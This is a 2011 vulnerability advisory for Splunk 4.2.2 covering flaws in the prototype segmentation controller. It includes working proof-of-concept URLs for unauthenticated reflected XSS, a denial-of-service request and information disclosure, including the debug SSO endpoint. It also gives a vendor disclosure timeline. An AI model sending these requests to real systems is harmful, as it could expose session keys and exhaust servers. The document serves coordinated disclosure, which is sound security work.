-- Product description:
Splunk collects, indexes and harnesses the massive volumes of valuable
machine data generated by your complex IT infrastructure, whether
physical, virtual or in the cloud.

-- Vulnerable product:
The vulnerability was found and tested on splunk-4.2.2-101277-linux-2.6-x86_64.

-- Problem Description:
The script "splunk/lib/python2.6/site-packages/splunk/appserver/mrsparkle/controllers/prototype.py"
is prone to lack of user input validation resulting in reflected XSS
(yes, I have them enough too) and denial of service (operating system
freez).  Below some details are included.

-- Requirements:
No authentication in Splunk was required to successfuly conduct the attacks.

-- Proof Of Concept:
Reflected XSS:
https://localhost/en-US/prototype/segmentation_performance?lines=2&depth=2&segment=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&element=aaa&attribute=aaa&segmentation=flattened

DoS:
https://localhost/en-US/prototype/segmentation_performance?lines=999&depth=99999999&segment=foo&element=span&attribute=class&segmentation=nested

little bonus - Information disclosure:
https://localhost/en-US/prototype/segmentation_performance?lines=99999999999999999999999999999999999999&depth=99999999999999999999999999999999999999&segment=foo&element=span&attribute=class&segmentation=nested
https://localhost/en-US/debug/sso

-- Impact:
Possible disclosure of the valid Splunk session key, full system
resources exhaustion resulting, sensitive information disclosure.

-- Disclosure timeline:
2011.08.25: detailed information about vulnerability and PoC sent to vendor
2011.08.25: vendor response
2011.10.19: vendor released official fixes
2011.10.19: advisory released

-- Greetz
as always... goes to folks from #dragonfly


Best regards,
Filip Palian